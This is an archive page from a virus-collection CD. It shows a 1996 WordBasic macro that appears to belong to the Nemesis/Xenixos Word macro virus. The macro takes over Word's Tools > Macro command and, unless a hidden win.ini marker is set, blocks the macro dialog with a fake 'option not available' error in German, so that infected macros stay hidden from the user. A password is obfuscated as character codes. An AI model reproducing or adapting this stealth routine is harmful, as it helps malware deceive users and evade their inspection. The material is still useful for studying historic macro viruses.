home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
MVUPDAT3.ZIP
/
XENIXOS.ZIP
/
NEMESIS.ZIP
/
NEMESIS2.TXT
< prev
next >
Wrap
Text File
|
1996-04-16
|
671b
|
27 lines
Macro ExtrasMakro
Sub MAIN
'diese Routine verhindet die Extras Makro Dialog-Box
Dim dlg As OutilsMacro
GetCurValues dlg
On Error Resume Next
Diag$ = "0"
Section$ = "Compatibility"
wininistr$ = "0x0020401"
ProfileName$ = "RR2CD"
PrintText$ = "Brought to you by the Nemesis Corporation, ⌐1996"
Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)
NoVir$ = GetProfileString$(Section$, ProfileName$)
If (NoVir$ = wininistr$) Or (diag$ = "1") Then
Dialog dlg
OutilsMacro dlg
Else
MsgBox "Diese Option ist derzeit leider nicht verfⁿgbar.", "Fehler", 48
End If
'Dialog dlg
'ExtrasMakro dlg
End Sub